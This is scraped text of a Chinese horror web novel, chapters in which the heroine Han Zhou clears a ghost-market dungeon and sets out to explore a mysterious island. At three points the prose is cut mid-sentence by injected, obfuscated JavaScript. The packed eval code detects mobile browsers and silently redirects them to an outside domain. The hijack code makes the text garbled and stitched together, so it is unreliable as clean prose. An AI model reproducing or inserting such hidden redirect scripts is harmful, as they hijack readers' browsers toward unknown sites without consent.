怎么回事？房君这是秽土转生飞升成神了？韩舟心中满是疑惑。 方兰摇了摇头，语气带着一丝后怕：“我说不清，但总觉得画像上的他比船上的他更可怕……还有那绣坊里的绣娘，个个都是鬼怪。刚才幸好我们没答应掌柜，若是真吃了那长生不老的丹药，说不定会变得和她们一样……” 她脑海中浮现出洛川那血淋淋的尸体，胃里顿时一阵翻涌，几乎要干呕出来。她强压下不适，脸色微微发白。 白媜压低声音，语气中带着一丝凝重：“那小吃摊的热汤……恐怕也有问题。我见到的女子便是因为喝了那汤，被邪祟附体，变得人不人鬼不鬼……” 这鬼市之中，处处皆是陷阱，稍有不慎，便会万劫不复。 韩舟仰头望了望天空，原本漆黑如墨的天幕已渐渐转为深蓝。她心中一紧，道：“我们得快些了，天……快亮了。” 白媜与方兰闻言，脚下的步伐不由得加快了几分，渐渐转为小跑。 满街辉煌的灯火已黯淡下去，仿佛随时会熄灭。远处的天际隐隐透出一抹浅灰，却不像是什么希望的曙光，反而在警告着她们什么。 倒计时开始。 三人不再多言，默契地朝着奈何桥的方向小跑而去。 她们匆匆赶到桥边，四周空旷冷清，卖汤的老婆婆已收起了摊子，正低头整理着器具。听到脚步声，她缓缓抬起头，露出一抹古怪的笑容。 天色将尽，深蓝的天幕逐渐褪去，取而代之的是一层朦胧的蓝灰。奈何桥上也不再如先前那般漆黑一片，桥上景象清晰可见。 老婆婆的笑容在微光中显得格外诡异，她并未言语，只是默默注视着三人，似乎在等待什么。韩舟握紧手中的令牌：“走，我们上桥。” 三人快步踏上奈何桥，脚步声在寂静中清晰可闻。白媜对之前取汤时的幻象心有余悸，忍不住侧目看向桥下，河水虽不是之前翻滚的血水，却浑浊不堪，微微泛红。 河水中有一具森白的骨架缓缓浮出水面，空洞的眼眶直直望向天空。 白媜心头一颤，连忙收回视线。 “别怕，往前走。”韩舟在旁边说道，“快了，我们很快就要离开了。” 三人行至桥尾，尽头被一片红雾笼罩，仿佛通往另一个世界的入口。韩舟停下脚步，打量那片红雾：“先停一下，我去探探路……等我。” 她往前走了几步，耳边骤然响起熟悉的机械音：“不用探路了，这就是离开怪谈副本的路。” 韩舟一愣：系统怎么又在副本里说话了？难道它作弊上瘾了？ “你这么爱我吗？这都能告诉我？”韩舟小声道。 系统轻笑一声：“这条通关的路本就是你找到的，我只不过帮你确认一下。” “那可真是谢…”还没等她说完，系统打断了她，继续道：“她们可以离开，但尊贵的玩家，你得留下。” “为什么？”韩舟瞪大双眼。 “因为我需要你去消灭这个怪谈的源头。” 49. 阴阳集市（二十） “……不是，我都达到通关要求了，你还让我回去打boss？这不是多此一举吗？”韩舟翻了个白眼，“不去！” “你不回去，那些NPC该怎么办？”系统的声音突然变得急促。 “还有什么NPC啊，都差不多死光了…”韩舟想起棺材里那个被咬断脖子的黑袍男子，无奈地耸了耸肩，“就算可能还剩下一两个……这个副本的鬼怪不是暗示天亮后会有更恐怖的事发生吗？我犯不着为了赚这几个游戏币去冒这种风险。” 系统沉默了一瞬，随后又开口：“如果你不消灭怪谈源头，以后会有更多NPC被卷进来……” “那又咋了？和我有什么关系？”韩舟不以为意，“以后的事以后再说呗。” “如果我告诉你……那些NPC都是真实的人呢？” “啊？什么？”韩舟愣住了。 “我是说，这里并不是游戏，而是一个真实存在的世界。你所说的NPC，比如你身后的那两个姑娘，都是活生生的人。”系统缓缓道，它的话如一声惊雷在韩舟耳边炸响。 虽然韩舟最近过副本确实有些沉浸过头，甚至与一些npc立了深厚的友谊，但骤然听到这个消息，她还是感到一阵强烈的冲击。 她忍不住回头看了眼白媜和方兰，却发现她们站在原地保持着一个姿势，一动不动，像是被定格了一般，连眼珠都不再转动。 “她们这是怎么了？”韩舟心生疑惑，语气中带着一丝不安。 “不用担心，她们的时间现在是静止的。”系统解释道，“我为了方便和你说话，暂时把你拉入一个独立的空间，这里的时间流速和她们的不一样…你知道多元宇宙吗？” “知道。”韩舟若有所思地点了点头。她看过不少关于多元宇宙的电影和小说，对这类概念并不陌生，“所以，这里算是一个与我所生活的世界不同的平行宇宙，对吗？” 系统道：“可以这么理解。这里是一个独立的世界，虽然与你原本的世界有着相似的规则，但却有着不同的历史。” 韩舟捏了捏下巴，犹豫着开口：“可就算这是个真实的世界，这里的NPC都是活人，但…为什么是我？之前的怪谈也没让我去杀boss啊？” “因为你是我们选中的。”系统循循善诱道，“你不想拯救世界吗？” “拯救世界？”韩舟忍不住乐了，这话听起来有种浓浓的中二感，“我又不是超英，我只是个普通的大学生…所以上一周目游戏是怎么回事？这个世界的怪谈到底是从哪来的？” “我选择你当然是有我的理由…至于你问的其他问题，现在还不能告诉你。” 还卖关子呢…韩舟轻轻撇了撇嘴：“那如果我拒绝呢？” 系统的声音变得严肃起来：“如果你拒绝，这里的怪谈将继续蔓延，最终将这个世界毁灭…其他世界也可能受到波及，你的世界也不例外…” 韩舟的心猛地一沉，她想起了自己的父母、朋友，还有那些她在意的人。她无法想象，如果怪谈真的降临她原本的世界，会发生什么。 “所以，我根本没有选择的余地，对吗？”韩舟苦笑了一声。 “本来我们不想给你这么大压力，所以一开始没有告诉你，只是不断鼓励你，甚至拿游戏币诱惑你…但现在不得不说了。” 系统的意思是既然你要摆烂，那只能让你面对残酷的真实了！ 韩舟叹了口气：“那我拯救了这个世界有奖励吗？” …系统被噎了一下，这是玩家反过来薅游戏羊毛啊！它沉默半晌才答道：“有。” “成交！”韩舟干脆答应了。 系统一时无语：“那你赶快去把这个怪谈源头消灭吧。” “这个怪谈的源头在哪里？”韩舟问。 “这就要靠你自己寻找了…” “？你就不能直接告诉我？” “抱歉，我有我要遵守的规则，我不能帮助玩家作弊…” “不能帮玩家作弊，那你刚才是在干什么？” “我刚才所说的那些不算违反规则。” “…你滚。” 系统说滚就滚，悄无声息下线了。 韩舟叹了口气，转头看向方兰和白媜，见她们已经能动了，眨巴着眼睛看着自己等待回复。 韩舟冲她们招了招手：“这条路没问题，你们可以离开了。” 方兰闻言，激动地就要冲出去，刚跑了几步又停下，走到韩舟和白媜身边拉住她们的手，语气中带着几分不舍：“幸好有你们在，我真怕自己会交代在这个鬼地方…这次出去后，不知道还能不能再见面，你们有空一定要来吴阊城找我！只要在城里打听方家的绣坊，就能找到我。我家的绣艺在城里可是出了名的。” 韩舟和白媜笑了，异口同声回道：“好。” 方兰朝她们摆了摆手，转身踏入桥尾弥漫的红雾中，身影转瞬消失。 韩舟目送方兰离去，随后转头看向仍站在原地的白媜，温声道：“你也快些离开吧。” 白媜没有动，只是凝视着韩舟，眸中闪过一丝复杂的神色。她缓缓开口，声音轻柔却带着试探：“小舟，你是打算留下来吗？” 韩舟微微一怔，没想到她的心思如此敏锐，只得点头承认：“没错，我得想办法清除这里的邪祟。” 白媜闻言，目露担忧，她轻声道：“我不会驱鬼，帮不上你什么忙。但你一定要小心，无论如何，都要保住自己的性命。”说着她伸出手，紧紧握住了韩舟的手。 韩舟感受到她手心的温度，心中一暖，拍了拍她的肩：“我知道，你放心。” 白媜沉默片刻，似乎下定了什么决心，低声说道：“还有一件事，我想告诉你。”她的声音里带着一丝愧疚，“其实……我姓桓，叫桓媜。‘白’是我的母姓。” 这…有什么区别吗？父姓和母姓不都一样？韩舟莞尔一笑：“没事，你不用道歉，我不在意这些。” 桓媜盯着韩舟的眼睛，见她神色平静，似乎有些意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022712|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。片刻后，她从衣襟中取出一个精致的香囊，香囊上绣着一个娟秀的“媜”字。 她将香囊递给韩舟，柔声道：“那么小舟，再见了。若是你成功脱险，有任何需要帮助的地方，可以到燕京找我…这个香囊，就当作信物吧。” 韩舟接过香囊，握在手中，点头应道：“好。” 桓媜又深深看了她几眼，眼中满是不舍。最终，她转过身，缓步走入那片红雾中，身影渐渐模糊，直至消失不见。 韩舟长舒一口气，将香囊小心地放入怀中。她抬头望向天空，长夜已然褪去，但天色依旧灰蒙蒙的，不见一丝阳光。 天亮了。 天亮了会发生什么？ 她对怪谈源头已经有了一些想法，只待证实。她往桥头走去，猛然发现桥下的景象变了！ 原本浑浊的河水不知何时化作一片猩红的血水，黏稠而腥臭，仿佛沸腾的岩浆翻涌不息。 一具具森白的骷髅骨架不断从血水中钻出，空洞的眼眶里跳动着幽绿的磷火，枯骨嶙峋的手爪死死抱住桥墩，以一种诡异的姿态向上攀爬。 韩舟迅速从怀中取出佛珠挂在脖子上，佛珠泛着淡淡的金光。她紧握手中板砖，加快脚步朝桥头奔去。 然而，那些骷髅攀爬的速度比她预想的还要快得多。转眼间，几具骷髅已经爬上了桥面，粘稠的血水从它们的骨架上滴落，在桥面上留下一道道腥臭的痕迹。它们匍匐在地，骨节摩擦发出“咔咔”的声响，朝着韩舟的方向爬来。 韩舟边跑边挥动板砖，被板砖拍到的骷髅发出一声凄厉的尖啸，骨架寸寸碎裂，化作一堆灰白的粉末。 她踏着这些灰白的粉末，一路向桥头狂奔，很快就来到了桥头。 卖汤的“老婆婆”站在桥头，混浊的眼睛默默注视着韩舟，她的嘴角缓缓上扬，笑容如同被无形的丝线拉扯，越来越大，直至占据了大半张脸。 她身上的血肉开始飞速消融，衣物随之碎裂，化作片片残布，飘散在空气中。皮肉下的森森白骨逐渐显露，每一根骨头都清晰可见，唯有她的头颅完好无损，依旧保持着原本的模样，被那副骨架稳稳支撑着，显得格外突兀与骇人。 韩舟停下脚步，目光先是落在那个半人半骷髅的“老婆婆”身上，随后扫视了一眼身后密密麻麻的骷髅大军，最后低头凝视着手中的板砖。 她的a级道具能够按照主人的心意变换形态，她之所以选择让它变成板砖，是因为板砖号称冷兵器之王，轻巧便携，既能近身防守，又能远程攻击。 然而，眼下的局势已经超出了板砖的应对范围。 韩舟紧握板砖，闭上双眼，脑海中迅速勾勒出一个新的形态。片刻之后，她手中的板砖化作了一把电锯。 电锯把手上嵌着一个醒目的红色按钮，韩舟毫不犹豫地按下它，伴随着一声轰鸣，电锯瞬间启动。 韩舟提起电锯，朝着那个人首骷髅身的“老婆婆”冲了过去。 就让你体验一把电锯惊魂吧！ 50. 阴阳集市（完） 半人半骷髅的“汤婆婆”见韩舟疾冲而来，眼里燃起一抹幽绿的磷火，浑身的骨架随着兴奋而震颤，发出“咔咔”脆响。 它的脑袋随着骨架的起伏而晃动，猩红的嘴巴一张一合：“真是上好的制汤材料啊……”随后它抬起白骨森森的手，骨节一节节伸长，向韩舟抓来。 韩舟已冲到骷髅架面前，她手中的电锯轰隆作响，锯齿飞速旋转，向“汤婆婆”的脑袋划去。 下一瞬，“汤婆婆”的脑袋“咚”一声砸在地上，滚了几圈，最终停在了韩舟的脚边。它脸上依旧保持着诡异笑容，眼中磷火却已熄灭，身躯也跟着摇晃几下，白骨森森的手无力垂下，整个骨架轰然倒塌，散落成一堆零碎的骨头。 韩舟看也没看那堆散落的骨头，径直跑下“奈何桥”，刚下桥还没跑几步，一团惨白的东西直直砸在她眼前的地面上。 韩舟微微错愕了一下，抬眼望去，发现那是一个纸人。 那个纸人摔成了一张薄纸，紧紧贴在地面上，惨白的纸面上依稀可见用墨水勾勒的五官。 就在韩舟愣神的瞬间，那纸人抖动起来，发出“沙沙”的声响，听起来像无数只虫子在纸面上爬行。它的四肢开始扭曲、伸展，缓缓从地面上“站”了起来。纸人的身体逐渐恢复原状，豆大的红色眼珠直勾勾盯着韩舟。 韩舟正准备举起电锯，却见那纸人缓缓退到一旁，动作僵硬，仿佛每一步都被无形的丝线牵引着，随着它的移动，露出了身后的一样东西。 那是一副黑漆棺材，它悬浮在空中，泛着幽冷的光，棺材的四角由四个纸人稳稳抬着。 那些纸人的肚子里传来一阵“咯咯咯”的笑声，伴随着刺耳的笑声，棺材盖被缓缓推开。 棺材里有一个人影缓缓坐起。他的身体完全由纸糊成，唯有那颗头颅乍一看还保持着原样，可仔细一瞧，却发现他的五官全是用墨水和朱砂画出来的。 那张脸，韩舟再熟悉不过。 正是棺材铺的店主。 店主纸糊的身体微微前倾，朱砂画的眼睛冷冷看着韩舟，缓缓张口：“不错的尸体。” …原来这个老板也是个纸人？韩舟翻了个白眼，“难怪走路没声。” 店主缓缓抬起手，手指先是蜷曲又伸直，似在操控无形的丝线，一大堆花花绿绿的纸人从棺材后冒了出来。 纸人群中夹杂着低语声、笑声和哭泣声，混杂成一种令人头皮发麻的噪音，它们如潮水般向韩舟涌了过来！ 韩舟撇了撇嘴，手中的电锯毫无阻碍地穿过那些纸人的身体，随着“嗤啦嗤啦”的声响，纸人瞬间被搅碎，化作无数片花花绿绿的纸屑。 她脚步急促，灵巧地绕过了那副悬浮在空中的黑漆棺材，连一眼都未多瞧，径直朝着街上跑去。 街上的景象更令人毛骨悚然。小贩们此刻全都变成了半人半骷髅的怪物。他们的身体一半是血肉，一半是森森白骨，脸上的皮肉像是被什么东西腐蚀了一般，露出狰狞的颧骨和空洞的眼眶。 他们面前的摊位上依旧摆满商品，但那些商品早已变异，包子和糕点变成一团团腐肉，上面爬满蛆虫，面具化作一堆灰白的骨片。 那些怪物们纷纷转过头，空洞的眼眶死死盯着她，空气中弥漫着腐烂的腥臭味，韩舟感觉自己置身一个巨大的坟场，而她是其中唯一的活物。 她的心跳如擂鼓，脚步却丝毫未停，举着电锯飞快跑着，向着目的地奔去。 随着韩舟的到来，怪物们仿佛被某种信号唤醒，齐齐发出一声嘶吼，向韩舟扑了过来。 长街两旁的商铺建筑也在这一刻扭曲，墙上浮现出无数张狰狞的面孔，发出尖锐的笑声，仿佛在为这场猎杀助兴。 一个怪物扑到韩舟跟前，白骨森森的手即将碰到她的瞬间，韩舟脖子上的佛珠发出一道耀眼的金光。“嗷——！”怪物痛苦地嘶吼起来，半腐烂的皮肉在金光下滋滋作响。 韩舟挥舞电锯，“嗤啦”一声切开一个怪物的身体，它的骨肉在锯齿下化为碎片，四散飞溅。紧接着，第二个、第三个怪物也在电锯的轰鸣中倒下，它们的骨头被切成数段，散落在地上。 韩舟没有恋战，继续向前飞奔。她掠过满地的碎骨与腐肉，最终停在了当铺门口。 当铺的门缓缓打开，掌柜从门内走了出来。他面色如常，神情淡然，手中捧着一只碧玉葫芦，葫芦表面泛着莹润的光泽。与街道上那些半人半骷髅的怪物不同，他竟是整条街上除韩舟外唯一保持人类模样的存在。 掌柜含笑看着韩舟，仿佛早已预料到她的到来。他轻轻晃了晃手中的碧玉葫芦：“姑娘可是后悔了？还是想要长生不老？” “仙界随时欢迎你。”掌柜的声音温和，带着一种令人难以抗拒的诱惑力，与周围的阴森可怖格格不入。 韩舟眯起眼睛，仔细打量了掌柜一番，手中的电锯微微举起，却又缓缓放下。最终，她调转身形，毫不犹豫地朝着另一处方向飞奔而去。 掌柜的眉头微微皱起，眼中的温和瞬间消散，取而代之的是一抹森冷的寒意。 就在这时，当铺内突然走出一个黑影。那是一个身穿黑袍的男子，他的脖颈已经完全断裂，脑袋摇摇欲坠地垂在胸前，仅靠几根筋肉勉强连接。他摇摇晃晃朝韩舟走去，每一步都伴随着骨骼摩擦声，仿佛随时会散架一般。 黑袍男子的口中发出断断续续的吼叫：“你……骗了我……你不是说过……要带我……离开鬼市的吗……”他的声音中带着深深的怨恨与绝望。 韩舟没有回头，连脚步都未曾放缓。她咬紧嘴唇，手中的电锯被她握得更紧。 终于，她的脚步停在了一间店铺前。店铺的门面破旧不堪，墙壁上爬满了暗红色的藤蔓，像是某种生物的血管。高悬的匾额上血迹斑驳，依稀可以辨认出“锦绣坊”三个字。 她没有犹豫，抬起脚，迈入了“锦绣坊”的门槛。 韩舟踏入“锦绣坊”的瞬间，一股浓重的血腥气扑面而来，店内各式各样的绣品全都染上了鲜血。 绣坊内的绣娘们依旧坐在各自的位置上，专注于眼前的绣品，但她们的样貌却已完全变异。她们的皮肤干瘪得像一层布，紧紧裹在骷髅骨架上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026631|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们手中的针线在绣品上穿梭着，绣的却不是什么花鸟鱼虫，而是一幅幅扭曲的鬼脸，那些鬼脸还在蠕动。 绣娘们看到韩舟进来，齐齐站起身，手中的针像暴雨一般向韩舟洒来。 针雨落到韩舟身上，都被佛珠上的金光碾碎。韩舟没有搭理，直接跑到墙上的一幅画像前。 那是房君的画像。 她举起手中的电锯，对准了那副画像。 “不！！！”绣娘们发出凄厉的尖叫，差点撕裂人的耳膜。她们朝韩舟扑来，手中的针线在空中飞舞，编织成一张巨网，试图将韩舟的身体切碎。 与此同时，当铺掌柜的身影出现在锦绣坊门口，他的手臂如同橡皮筋般伸长，直直朝韩舟抓来。 房君的画像开始渗出粘稠的黑色液体，顺着画布向下流淌，房君的眼珠飞速转动，瞳孔收缩又放大，像是在试图挣脱画布的束缚。 他看着韩舟的眼神充满怨毒。 “晚了哦。”韩舟轻声说道，她手中的电锯毫不留情地切在了画像上，画布“嗤啦”一声撕裂成两半。 黑色的液体从裂口中喷涌而出，韩舟没有停下，锯齿将画像搅成碎片。 随着画像的彻底粉碎，整个锦绣坊被某种无形的力量撼动。韩舟身后的绣娘们发出哀嚎，披着人皮的骨架化作灰白的粉尘，手中的针线在空中断裂，无力落在地上，最终也化为尘埃。 绣品上的鬼脸蠕动越来快，似乎在拼命挣扎，然而它们的挣扎只是徒劳，绣品迅速褪色、腐朽，最终化为一片片灰烬。 门口的当铺掌柜依旧站在那里，但他的身体也开始崩解，他眼中闪烁着不甘与怨毒，却无法阻止自己的身体化为灰烬。他的手臂依旧向前伸展，想要抓住什么，但最终在风中消散，化为虚无。 看到眼前的这副景象，韩舟按了一下电锯上的红色按钮，电锯停止了轰鸣，她扶着墙壁开始大口喘气。 刚才还怪吓人的。 她喘息了片刻，走出绣坊，站在长街上，目光扫过四周，发现街上空荡荡的，那些半人半骷髅的怪物全部消失了，仿佛从未存在过。 空气中飘荡着灰白的粉尘，残留着腐臭与血腥味，但那股令人窒息的压迫感却已消散，取而代之的是一片空旷与死寂。 “轰隆——” 一声巨响从身后传来，韩舟猛然回头，只见身后所有的商铺建筑开始剧烈摇晃，墙壁上的暗红色藤蔓迅速枯萎，建筑的屋顶、墙壁、梁柱一寸寸崩解。 “恭喜玩家韩舟，通关怪谈《阴阳集市》。” “结束了？”韩舟先是自言自语，随后兴奋地收起电锯，取下脸上的木雕面具，重重扔在地上。 “终于结束了…我要回去好好吃一顿！两顿没吃，饿死我了。” “还没有结束。”系统的机械音又响起。 “什么？”韩舟以为自己听错了，“刚刚你不是说副本通关了吗？” “鬼市怪谈你是通关了，但这个仙岛的秘密还需要你去探索。”系统继续道。 “…我探索你个头啊！”韩舟崩溃了。 51. 探索仙岛 “玩家情绪不要这么激动，对身体不好。”系统的声音有几分心虚。 “你还知道对身体不好啊？我是人，又不是神，我也要吃饭睡觉休息的，你是想累死我？”韩舟现在很想把系统从虚空中揪出来用电锯切成碎片。 “可是你不去消灭仙岛背后的boss，这个鬼市怪谈随时可能会重启，你刚才所做的一切将成为无用功…” “…合着还是我的错咯？” “尊贵的玩家，你知道我不是这个意思…” “别尊贵的玩家了，我看我也没有哪里尊贵了，就是当牛马的命…” “你再坚持一下…这次结束后多给你点游戏币…要不…再赠送给你个道具？” “道具？”韩舟眼睛一亮，“现在可以给我吗？” “不行，要等这次仙岛之行结束以后，作为通关奖励发放给你。” “…”韩舟揉了两下头发：“我难道还有别的选择吗…你没别的事就赶紧爬吧…” “好的，尊贵的玩家。”系统麻溜地爬了。 韩舟叹了口气，环顾四周，发现长街已经恢复成昨晚子时之前的模样，空气中飘荡的灰白粉尘落在灰扑扑的石板路上，与之融为一体，两旁的商铺消失无踪。 “探索仙岛…”韩舟嘟囔了两句，“要是有火药就好了…能不能直接把岛给炸了，一了百了…” 她一边低声自语，一边迈步走出长街，一阵凉风吹来，头顶高悬的红灯笼轻轻摇晃，像血红的眼睛在眨动。 韩舟不禁裹紧了身上的黑袍，有点冷啊。 就在她即将穿过最后一盏红灯笼时，前方出现一道身影。那人身穿一袭黑色的长袍，袍角随风轻扬，脸上戴着一副木雕面具。 这个时候还有人进副本吗？韩舟有些惊讶。 那人见到韩舟后脚步微微一顿，紧接着加快步伐走了过来，在韩舟面前站定。 他的脸被那副木雕面具完全遮住，透过面具的眼孔，韩舟看到了一双沉静如潭水的眼睛。 韩舟的目光在那双眼睛上停留片刻，心中涌起一阵熟悉的感觉：“你是？” 那人抬起手，从脸上取下了面具。 “白言？”韩舟看到那张熟悉的脸，不禁叫出了声。 这也太巧了点…他怎么又进副本了？ 白言脸上露出一抹温和的笑意：“韩姑娘，我们又见面了。” 他那温和的态度让她有些错愕，不禁回想起上次分别时的不愉快。不过转念一想，大家都是成年人了，没必要闹得太僵，表面的客套还是要维持的。 韩舟的目光落在他手中的面具上：“你这是要去鬼市？” 白言微微颔首：“是。” 韩舟道：“哦，那你不用去了，鬼市已经被我端了。” 白言：…… 韩舟见白言陷入沉默，忍不住乐了，语气带上几分调侃：“怎么，不信？那你就在这儿等着，看看子时鬼市还会不会出现。” “不必了，我信。”白言语气平静，神色淡然。 韩舟笑了笑，随手将手中的令牌抛给他：“拿着这块令牌，往前走500米，左转右转左转再右转，看到一座拱桥，过了桥就是出口。” 白言抬手稳稳接住令牌，目光微沉，似乎在思索着什么。 韩舟不再理他，径直朝前方的小树林走去。就在她经过白言身旁的瞬间，白言倏尔伸出手，一把扣住了她的手腕。 “你干什么？松手！”韩舟一惊，下意识地想要掏出电锯，却见白言已经松开了手。他后退两步，神色郑重，朝她微微弯腰，行了一个标准的揖礼。 韩舟一脸疑惑地看着他，显然不明白他这番举动是何用意。 白言温声开口：“我想和姑娘谈一个交易。” “什么交易？”韩舟蹙起眉头。 “姑娘既以方士自居，又怀驱鬼镇邪之能，在下斗胆相求，愿请姑娘出手，除尽世间邪祟，救黎庶于水火。“白言语气恳切，目光深邃如潭，隐隐透出一丝执着。 “…”韩舟被他这番高帽子扣得有些措手不及。不过，他的请求倒是与系统交给她的任务不谋而合… 白言目光紧锁她的神情，见她似有动摇，便又道：“姑娘放心，此事自然不会让你白费心力。金银珠宝，良田豪宅，只要姑娘愿意，条件任你提。” 金银珠宝，良田豪宅……韩舟抬眼打量了他一番，暗暗想：嚯，口气倒是不小，看来这家伙家底颇丰啊。 良田豪宅她没啥兴趣，她又不会住在这个世界，也带不走，不过金银珠宝倒是可以考虑一下，钱多不压身嘛。 想到这，她装模作样点了点头：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15034729|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考虑一下。” 白言闻言，眉眼舒展，笑容柔和：“希望姑娘尽快给我答复。” 韩舟道：“嗯…你是怎么到这儿来的？也是集市？” 白言微微颔首：“听闻兰古寺附近的集市上有大批人突然失踪，我前去查探，街上忽然起了一阵浓雾，待雾气散去，我便到了此处。” 韩舟心想：你运气还怪好的…她忽然记起什么，开口问道：“怎么不见飞羽？” 白言道：“自从兰古寺一事后，他精神一直不佳，我便让他在客栈休养，暂时别出来了。”他顿了顿，又问：“姑娘可知这鬼市究竟是何来历？” 韩舟便把她的经历精简了一下，拣重要的告诉了他，当她提到“泉先号”和房君时，白言的神色骤然一变，眼中闪过一丝复杂的光芒，似乎对这两个名字颇为在意。 “不过，‘泉先号’已经沉没，鬼市也被我端了……你不用再在意这些了。”韩舟道，“接下来我要去探寻仙岛的秘密。你就按我刚才说的，走过拱桥就能离开此地。” 白言开口：“我与姑娘同去。” 韩舟一愣：“啊？你跟着去能干什么……”她想起他有柄能镇妖除魔的剑，不过早已在诛杀空时化为灰烬。 她目光在他身上扫过，注意到他腰间别着一柄崭新的佩剑，心中不禁嘀咕：这不会又是个道具吧？韩舟忍不住开口问：“你的那柄剑……能让我摸一下吗？” 白言闻言，虽对她的要求有些不解，却还是点了点头：“可以。” 韩舟也不跟他客气，直接将手伸到他腰间，握住剑柄。 没有任何声音响起，什么事也没发生。 “唔……这就是把普通的剑啊…”她先是有些失望，随即又暗自庆幸：若这又是一件道具，她可真要心理不平衡了。 白言听到她的低声嘀咕，嘴角微扬，语气带着几分笑意：“业师只给了我一柄剑，再无其他。” 韩舟收回手，叹了口气：“既然你已经没有斩妖除魔的剑了，那跟来也没什么用处啊。” 她这话说得直白，白言却神色没什么波动：“房君身份特殊，有些事我必须亲自查清。” 这话说的…好像他和房君有什么关系… 韩舟思索片刻，点了点头：“行，你可以跟我一起去，但我们得约法三章。” 52. 仙岛的秘密 韩舟和桓晏并肩踏入幽暗的树林时，瞬间被一股阴寒之气包围。 树木的枝干开始扭动，像数只漆黑的枯手张牙舞爪。树皮剥落处渗出暗红色的汁液，顺着树干缓缓流淌，散发出浓重的血腥味。 鼓声从树林深处传来，起初只是隐约的震动，随着两人的深入，那声音越来越响，仿佛无数只手掌在敲击着人的天灵盖。 韩舟和桓晏寻着鼓声来到一片林间空地上，那里有数十个黑袍人正围作一圈，脸上戴着刻满兽纹的青铜面具，一手执戈一手扬盾，跳着奇怪的舞蹈。 黑袍人的动作整齐划一，却又带着某种难以形容的扭曲感。他们的身体时而前倾，时而后仰，不断抖动着，像在模仿某种猛兽的形态。 "这是……傩舞？"韩舟低声自语。 桓晏微微点头，目光落在那些黑袍人身上："驱疫避邪，祭祀神灵……不知道他们祭祀的是何方神仙。" “大概又是哪个邪神吧…”韩舟忍不住撇了撇嘴。 桓晏目光转向韩舟：“邪神？” “嗯…”韩舟将之前在那个诡异村庄的经历告诉了他。 “竟有这等事，我全然不知……”桓晏的脸色逐渐沉了下来，眉头紧锁。 “那个村庄居然建在一座神像上，还怪猎奇的…”韩舟忍不住吐槽，“究竟是什么人这么别出心裁。” “神像……”桓晏低声重复着，神情一变，似是想起了什么重要的事情，“这……怎么可能？” “怎么了？”韩舟察觉到桓晏的异样，追问道。 桓晏微微犹豫了下才开口：“当今圣上曾经下旨建造过一座巨大的神像。但那座神像不该是如此用处。” “嚯。”韩舟眼中闪过一丝好奇，追问道，“那原本是什么用处？” “那座神像，原本是为了祈求江山永固，天下太平。” “……那神像究竟是什么神？” 桓晏轻轻摇了摇头：“我不知，此事我未曾参与。” 韩舟正欲再问，却见那些跳舞的黑袍人停下了动作，缓缓向他们走来。她警觉顿生，毫不犹豫地召唤出了电锯握在手中。 那些黑袍面具人走到他们面前，发出了沙哑的声音：“你们就是通过了祂考验的人？主动留下来，是想成为祂的信徒与臣民吗？” 韩舟与桓晏对视一眼，俱是沉默。树林深处传来一阵沙沙的响动，如同黑暗中细碎的耳语。 那些黑袍面具人见二人不答，也不催促，只是低沉开口："祂在宫殿里等你们。" “宫殿？”韩舟问，“祂的宫殿在哪？” 黑袍面具人没有回答，转身走向那些变异的树木。其中一人从宽大的袖中取出一个漆黑的葫芦，葫芦表面刻满了密密麻麻的花纹，那些纹路像一只只眼睛。 黑袍面具人将葫芦口对准树干汁液流淌的地方，暗红色的液体便如同活物般自动流入葫芦中。 "那些东西是…"韩舟忍不住道，“好恶心。” 桓晏神色冷静，手指却微微收紧："是血。" 韩舟的脊背上涌起一股寒意，她感到那些汁液不仅仅是血，而是某种更为邪恶的东西。空气中弥漫着一股令人作呕的腥气，混杂着树木腐烂的味道，令人窒息。 黑袍面具人收集完汁液，转身向树林深处走去。 "我们跟上去。"韩舟轻声说道，桓晏微微点头，两人跟在黑袍面具人身后。 那些黑袍面具人的身影很快隐没在树林深处，待韩舟和桓晏跟上去的时候，却见他们消失无踪。 "唔……不见了。"韩舟无奈地耸了耸肩，目光扫过四周，"看来我们只能自己去寻找那所谓的宫殿了。" 她的声音刚落，周围的树木发出一阵呻吟，树干上浮现出一张张扭曲的人脸，像是被某种力量硬生生挤压进树皮中，树枝如同干枯的手臂，疯狂地向韩舟和桓晏抓来。 桓晏迅速拔出腰间佩剑，剑光一闪，砍断了一只向他们伸来的枯枝。然而树枝断裂的瞬间，又有更多的枯枝从四面八方袭来，无穷无尽。 “让一让，我来吧。”韩舟举起手中的电锯，“砍树用电锯正合适。” 桓晏手中的剑微微一顿，侧身让出空间。韩舟大步走向最近的一棵树，手中的电锯发出刺耳的轰鸣声，锯齿飞速旋转，带着凌厉的气势切入树干。 